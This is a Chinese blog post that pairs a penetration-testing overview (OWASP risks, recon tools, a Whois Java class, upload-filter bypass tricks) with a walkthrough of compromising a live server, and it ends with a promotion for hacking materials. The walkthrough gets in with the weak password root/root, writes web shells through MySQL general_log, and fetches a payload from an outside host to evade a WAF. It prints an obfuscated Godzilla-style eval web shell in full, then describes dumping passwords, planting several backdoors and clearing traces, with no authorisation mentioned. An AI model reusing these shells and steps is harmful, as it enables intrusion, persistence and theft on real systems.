写点什么

【反客为主】360 三面竟然被问到怎么日卫星?我:想学呀,我教你阿!

用户头像
Machine Gun
关注
发布于: 17 分钟前


前言:

什么是渗透测试

渗透测试,是为了证明网络防御按照预期计划正常运行而提供的一种机制。不妨假设,你的公司定期更新安全策略和程序,时时给系统打补丁,并采用了漏洞扫描器等工具,以确保所有补丁都已打上。如果你早已做到了这些,为什么还要请外方进行审查或渗透测试呢?因为,渗透测试能够独立地检查你的网络策略,换句话说,就是给你的系统安了一双眼睛。而且,进行这类测试的,都是寻找网络系统安全漏洞的专业人士。

渗透测试的范围:

  •     操作系统(windows、solaris、aix、linux 等操作系统)

  •     应用系统(web、ftp、mail、dns、网盘等应用系统)

  •     网络设备(各种防火墙、入侵检测系统、网络路由交换设备)

  •     数据库系统(ms-sql、oraacle、mysql、db2 等数据库)

  •     安全管理(安全管理的规章制度、业务流程等)



渗透测试流程:

明确目标-[信息收集-信息整理-信息分析]-漏洞探测-漏洞验证-获取所需-形成报告 一般会在信息方面所花费的时间大约在渗透测试中占 80%


Web 应用程序与风险

注入

将不受信任的数据作为命令或查询的一部分发送到解析器时,会产生诸如 SQL 注入、NoSQL 注入、OS 注入和 LDAP 注入的注入缺陷。攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执行非预期命令或访问数据。

失效的身份认证

通常,通过错误使用应用程序的身份认证和会话管理功能,攻击者能够破译密码、密钥或会话令牌,或者利用其它开发缺陷来暂时性或永久性冒充其他用户的身份。

失效的身份认证

通常,通过错误使用应用程序的身份认证和会话管理功能,攻击者能够破译密码、密钥或会话令牌,或者利用其它开发缺陷来暂时性或永久性冒充其他用户的身份。

敏感数据泄露

许多 Web 应用程序和 API 都无法正确保护敏感数据,例如:财务数据、医疗数据和 PII 数据。攻击者可以通过窃取或修改未加密的数据来实施信用卡诈骗、身份盗窃或其他犯罪行为。未加密的敏感数据容易受到破坏,因此,我们需要对敏感数据加密,这些数据包括:传输过程中的数据、存储的数据以及浏览器的交互数据。

XML 外部实体(XXE)

许多较早的或配置错误的 XML 处理器评估了 XML 文件中的外部实体引用。攻击者可以利用外部实体窃取使用 URI 文件处理器的内部文件和共享文件、监听内部扫描端口、执行远程代码和实施拒绝服务攻击。

失效的访问控制

未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据,例如:访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。

安全配置错误

安全配置错误是最常见的安全问题,这通常是由于不安全的默认配置、不完整的临时配置、开源云存储、错误的 HTTP 标头配置以及包含敏感信息的详细错误信息所造成的。因此,我们不仅需要对所有的操作系统、框架、库和应用程序进行安全配置,而且必须及时修补和升级它们。

跨站脚本(XSS)

当应用程序的新网页中包含不受信任的、未经恰当验证或转义的数据时,或者使用可以创建 HTML 或 JavaScript 的浏览器 API 更新现有的网页时,就会出现 XSS 缺陷。XSS 让攻击者能够在受害者的浏览器中执行脚本,并劫持用户会话、破坏网站或将用户重定向到恶意站点。

不安全的反序列化

不安全的反序列化会导致远程代码执行。即使反序列化缺陷不会导致远程代码执行,攻击者也可以利用它们来执行攻击,包括:重播攻击、注入攻击和特权升级攻击。

使用含有已知漏洞的组件

组件(例如:库、框架和其他软件模块)拥有和应用程序相同的权限。如果应用程序中含有已知漏洞的组件被攻击者利用,可能会造成严重的数据丢失或服务器接管。同时,使用含有已知漏洞的组件的应用程序和 API 可能会破坏应用程序防御、造成各种攻击并产生严重影响。

不足的日志记录和监控

不足的日志记录和监控,以及事件响应缺失或无效的集成,使攻击者能够进一步攻击系统、保持持续性或转向更多系统,以及篡改、提取或销毁数据。大多数缺陷研究显示,缺陷被检测出的时间超过 200 天,且通常通过外部检测方检测,而不是通过内部流程或监控检测。

Web 应用程序技术



安全工具-信息收集

对象

网站操作类型识别方式

  • Windows

  • Linux

网站指纹识别工具

目录扫描

敏感文件扫描

IP 查询



端口扫描

常见端口

  • 21-FTP

  • 22-SSH

  • 23-Telnet

  • 25-Mail

  • 53-DNS

  • 67-DHCP

  • 80-HTTP

  • 110-POP3

  • 135-RPC

  • 139-NetBIOS

  • 433-HTTPS

  • 445-SMB 协议

  • 3306-MySQL

  • 3389-远程桌面

  • 1433-MySQL

  • 1521-Oracle



Whois 查询

package Whois查询工具20; import net.sf.json.JSONObject; import java.io.*;import java.net.HttpURLConnection;import java.net.URL;import java.net.URLEncoder;import java.util.HashMap;import java.util.Map;import java.util.Scanner; public class WhoisCheck {    public static final String DEF_CHATSET = "UTF-8";    public static final int DEF_CONN_TIMEOUT = 30000;    public static final int DEF_READ_TIMEOUT = 30000;    public static String userAgent =  "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.66 Safari/537.36";    public static final String APPKEY ="*********";//申请API的APPKEY    public static void main(String args[]){        System.out.println("请输出想要查询信息的域名");        Scanner sc=new Scanner(System.in);        String host=sc.next();        whois(host);    }    public static void whois(String host){        String result=null;        String url="http://apidata.chinaz.com/CallAPI/Whois";        Map params = new HashMap();        params.put("domainName",host);        params.put("key",APPKEY);        try{            result =net(url, params, "GET");            JSONObject object = JSONObject.fromObject(result);            if(object.getInt("StateCode")==1){                System.out.println("该域名已经被注册过,详细信息如下:");                System.out.print(object.getString("Result"));            }            else                System.out.println("该域名还未曾被注册过");        }catch (Exception e){            e.printStackTrace();        }    }    public static String net(String strUrl, Map params, String method) throws Exception {        HttpURLConnection conn = null;        BufferedReader reader = null;        String rs = null;        try {            StringBuffer sb = new StringBuffer();            if(method==null || method.equals("GET")){                strUrl = strUrl+"?"+urlencode(params);            }            URL url = new URL(strUrl);            conn = (HttpURLConnection) url.openConnection();            if(method==null || method.equals("GET")){                conn.setRequestMethod("GET");            }else{                conn.setRequestMethod("POST");                conn.setDoOutput(true);            }            conn.setRequestProperty("User-agent", userAgent);            conn.setUseCaches(false);            conn.setConnectTimeout(DEF_CONN_TIMEOUT);            conn.setReadTimeout(DEF_READ_TIMEOUT);            conn.setInstanceFollowRedirects(false);            conn.connect();            if (params!= null && method.equals("POST")) {                try {                    DataOutputStream out = new DataOutputStream(conn.getOutputStream());                    out.writeBytes(urlencode(params));                } catch (Exception e) {                    e.printStackTrace();                }            }            InputStream is = conn.getInputStream();            reader = new BufferedReader(new InputStreamReader(is, DEF_CHATSET));            String strRead = null;            while ((strRead = reader.readLine()) != null) {                sb.append(strRead);            }            rs = sb.toString();        } catch (IOException e) {            e.printStackTrace();        } finally {            if (reader != null) {                reader.close();            }            if (conn != null) {                conn.disconnect();            }        }        return rs;    }    //将map型转为请求参数型    public static String urlencode(Map<String,String> data) {        StringBuilder sb = new StringBuilder();        for (Map.Entry i : data.entrySet()) {            try {                sb.append(i.getKey()).append("=").append(URLEncoder.encode(i.getValue()+"","UTF-8")).append("&");            } catch (UnsupportedEncodingException e) {                e.printStackTrace();            }        }        return sb.toString();    } }
复制代码


子域名查询

查询子域名有三种方法:

  • 通过爆破子域名进行查询,如 Layer 子域名爆破机、subDomainBrute,在线子域名查询网站:https://phpinfo.me/domain/ 

  • 通过查询 DNS 服务器,查询该域下的解析记录

  • 通过 HTTPS 证书来查询(只适用于 https 网站) ,如:https://crt.sh/   就是通过 https 证书查询子域名

  • 通过 google 查询



空间搜索引擎

信息收集报告



安全工具-漏洞扫描

国外产品

  • Acunetix Web Vunerability Scanner

  • ArVS

  • NexpoSe

  • NessU5

  • OpenVAS 

  • Vuls

  • nmap

  • AppScan

  • Burpsuite

  • Weblnspect

  • Arachnil

  • OWASP ZAP   ZAP(Zet Attack Proxy)是全球数百名志愿者程序员在积极更新维护的著名渗透测试工具之一。它是一款跨平台的 JavaT 具,甚至都可以在 Raspberry Pi 上运行、ZAP 在剂览器和 Web 应用程序之间挡载和检查消息,

  • w3af  w3af 是一个从 2006 年年底开始的基于 Python 的开源项目,可用于 Linux 和 Windows 系统。w3af 能够检测 200 多个漏洞,包括 OWASP top 10 中提到的  



国内工具

  • 智恒联盟 WebPecker

  • 诺塞科技 Pangolin

  • 安恒 MatriXay 安恒明鉴 WEB 应用弱点扫描器

  • 绿盟 NSFOCUS RSAS  极光远程安全评估系统



SQL 注入政击技术

SQLmap

顾名思义,我们可以借助 sqLmap 对数据库进行渗透测试和漏洞查找。

Pangolin

Pangolin 做 SQL 注入扫描

OWASP XenotixXSS

OWASP 的 XenotixXSS 是一个用于查找和利用跨站点脚本的高级框架,内置了三个智能模糊器,用于快速扫描和结果优化

XSS 跨站脚本攻击

反射型 XSS:

给用户发送页面或者链接,让用户点击来进行攻击,也叫做“非持久型 XSS”。

存储型 XSS:

把攻击存放在服务端,可能造成传播(比如博客系统,每个访问该页面的人都有可能被攻击),主动性更强。

比较常见的一种场景就是,黑客写下一篇包含有恶意 JavaScript 代码的博客文章,文章发表后,所有访问该博客文章的用户,都会在他们的浏览器中执行这段恶意的 Javascript 代码。黑客把恶意的脚本保存到服务器端,所以这种 XSS 攻击叫做“存储型 XSS”。也叫做“持久型 XSS”,因为从效果上来说,它存在的时间是比较长的。

DOM 型:

本质上是反射型,但是是通过用户点击,修改原本 dom 元素的属性,构造攻击动作

反射型和 dom 型区别:

反射型是构造好了攻击动作,然后就等你打开那个页面;dom 型也是等你点击,但是不是页面,通过用户动作,把原来的动作注释掉,然后加上自己修改的动作。

上传验证绕过技术

1.客户端验证绕过

很简单啦,直接使用 webscarab 或者 burp 修改一下后缀名就行。

2.服务端验证绕过-Content-type 检测

若服务端检测文件类型时是检测 Content-type 的值,也很简单,在 webscarab 或者 burp 中修改 Content-type。

如 php 中 if($_FILES['userfile']['type'] != “image/gif”) 即是检测 Content-type 值。

3.服务端验证绕过-扩展名检测

  • a. 寻找漏网之鱼,如 fckeditor 2.4.3 或之前版本的黑名单中就可以上传诸如 asa,cer 之类的文件。

  • b. 大小写绕过,如 aSp,pHp。

  • c. 特别文件名构造。

比如发送的 http 包里把文件名改成 help.asp. 或 help.asp_(下划线为空格),这种命名方式在 windows 系统里是不被允许的,所以需要在 burp 之类里进行修改,然后绕过验证后,会被 windows 系统自动去掉后面的点和空格。

  • d. IIS 或者 nginx 文件解析漏洞。比如比如 help.asp;.jpg 或 http://www.xx.com/help.jpg/2.php。

  • e. 0×00 截断绕过。例如:help.asp .jpg(asp 后面为 0×00),在判断时,大多函数取后缀名是从后往前取,故能够通过,但是在保存时,却被保存为 help.asp。

  • f. 双扩展名解析绕过攻击(1)

如果上传一个文件名为 help.php.123 首先扩展名 123 并没有在扩展名 blacklist 里,然后扩展名 123 也没在 Apache 可解析扩展名 list 里,这个时候它会向前搜寻下一个可解析扩展名,或搜寻到.php,最后会以 php 执行。

  • g. 双扩展名解析绕过攻击(2)这时只要文件名里包含.php,即使文件名是 test2.php.jpg 也会以 php 来执行。

4 各种攻击方式的相互关系及组合

首先客户端端验证和服务端验证是相互独立的,所以分开绕过就行了,主要难点是在服务端验证的组合上。

文件完整性检测已经包含文件头检测和图像大小及相关信息检测,但不包含文件扩展名检测。它是以加载来作为检测的方式,比如用图像渲染函数去渲染一张图片。文件扩展名检测和文件头检测都是同级的,相互独立,所以如果是文件扩展名+文件头检测可以同时分开绕过。

文件包含漏洞

本地文件包含漏洞:

当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。

远程文件包含漏洞:

本地文件包含和远程文件包含造成漏洞的原因是一样的,当 php.ini 中的配置选项 allow_url_fopen 和 allow_url_include 为 ON 的话,则包含的文件可以

是第三方服务器中的文件,这样就形成了远程文件包含漏洞。

CSRF 攻击技术

站内这种类型的漏洞在一定程度上是由于程序员滥用 $__request 类变量造成的。(在一般应该使用 post 和 get 的时候)[修改密码]站外这种类型的漏洞在本质上就是传统意义上的外部提交数据问题。【spam 问题:即垃圾留言,垃圾评论,或者带有站外链接的恶意回复】

远程代码执行漏洞

fastjson 远程代码执行漏洞

复现

反弹 shell

  • 正向反弹

  • 反向反弹

XXE 原理利用防御

XML DTD

DTD 语法

利用方式

防御 XXE

判断是否存在 XXE 漏洞

编辑器漏洞

目录扫描

目录遍历

蜘蛛爬行    

暴力猜测

C/S 架构暴力猜解

B/S 架构暴力猜解

验证码安全



逻辑漏洞

验证机制缺陷

会话管理缺陷

权限管理缺陷

业务逻辑缺陷

登录缺陷

支付逻辑缺陷

API 乱用

业务安全问题

篡改型

  • 对各类 id 的篡改

  • 对邮箱、手机号的篡改

  • 对 session 的篡改

  • 对返回值的篡改

  • 对数量、金额的篡改

回显型跳过型弱验证

  • 校验码弱验证

  • 密码重置链接 Token 弱验证



项目实战

确定目标



收集信息

x.x.x.x
复制代码


首先常规测试方法一顿怼,目录扫描,端口扫描,js 文件,中间件,指纹识别,反正该上的都上。。。。随手加个路径,报错了,当看到这个界面我瞬间就有思路了



为什么这么说呢,因为之前我就碰见过这样的网站报错, 这是一个 php 集成环境,叫 upupw,跟 phpstudy 是一样的

upupw --> pmd phpstudy --> phpmyadmin
复制代码

突破点

这个集成环境包也有个 phpinfo 的页面,跟数据库管理界面

u.php
复制代码



测试一下弱口令

root/root
复制代码



连接成功后就可以看到 phpinfo 的页面



好了现在问题变成 phpmyadmin 拿 shell



getshell

三步拿 shell

set global general_log='on';SET global general_log_file='D:/xxxx/WWW/cmd.php';SELECT '<?php assert($_POST["cmd"]);?>';
复制代码


当执行第三步的时候页面 卡在执行中。。。没有反应 瞬间感觉不对,可能存在 waf 换了个免杀马试试,先写到 txt 里边看看成否成功



没有任何问题,下面直接写入 php 文件



可以写入,直接去连接 shell



果然有 waf,当时写入的时候就感觉到了,不免杀的 shell,sql 语句执行不了

绕过 waf

怼了半天都不知道是什么鬼 waf,用下载文件试试为了避免拦截 php 代码的 waf,我这里远程下载的脚本是利用 JavaScript 转写 php

SET global general_log_file='C:/Users/Administrator/Desktop/UPUPW_AP5.5_64/htdocs/11.php';SELECT '<script language="php"> $a="http://x.x.x.x:81/shell.txt";$b="file"."_g"."et_"."contents";$b = $b($a);file_put_contents("shell.php",$b); </script>'
复制代码



访问 11.php 就会生成 shell.php 这里的 shell 也是用了哥斯拉的免杀 shell

<?php    session_start();    @set_time_limit(0);    @error_reporting(0);    function E($D,$K){        for($i=0;$i<strlen($D);$i++) {            $D[$i] = $D[$i]^$K[$i+1&15];        }        return $D;    }    function Q($D){        return base64_encode($D);    }    function O($D){        return base64_decode($D);    }    $P='pass';    $V='payload';    $T='3c6e0b8a9c15224a';    if (isset($_POST[$P])){        $F=O(E(O($_POST[$P]),$T));        if (isset($_SESSION[$V])){            $L=$_SESSION[$V];            $A=explode('|',$L);            class C{public function nvoke($p) {eval($p."");}}            $R=new C();            $R->nvoke($A[0]);            echo substr(md5($P.$T),0,16);            echo Q(E(@run($F),$T));            echo substr(md5($P.$T),16);        }else{            $_SESSION[$V]=$F;        }    }
复制代码



尝试了这么多次




进程里没有 waf 进程

权限是 system



脱源码

上传抓密码工具,直接获取管理密码,登上服务器





留后门,清理痕迹

多留几个后门,万一被删




这个网段还有这么多机器



源码

打开源码才发现 waf 是 360webscan



我是一名渗透测试工程师,为了感谢读者们,我想把我收藏的一些网络安全/渗透测试学习干货贡献给大家,回馈每一个读者,希望能帮到你们。

干货主要有:

①2000 多本网安必看电子书(主流和经典的书籍应该都有了)

②PHP 标准库资料(最全中文版)

③项目源码(四五十个有趣且经典的练手项目及源码)

④ 网络安全基础入门、Linux 运维,web 安全、渗透测试方面的视频(适合小白学习)

⑤ 网络安全学习路线图(告别不入流的学习)

 渗透测试工具大全

⑦ 2021 网络安全/Web 安全/渗透测试工程师面试手册大全

 


SRC 漏洞汇总



网安必看书籍




Web 安全学习视频



全套工具包



SRC 技术文档




CTF




点击下方即可免费获取全部资料

【资料获取】



用户头像

Machine Gun

关注

还未添加个人签名 2021.03.28 加入

需要获取网络安全/渗透测试学习资料工具的朋友可联系V:machinegunjoe666 免费索取

评论

发布
暂无评论
【反客为主】360三面竟然被问到怎么日卫星?我:想学呀,我教你阿!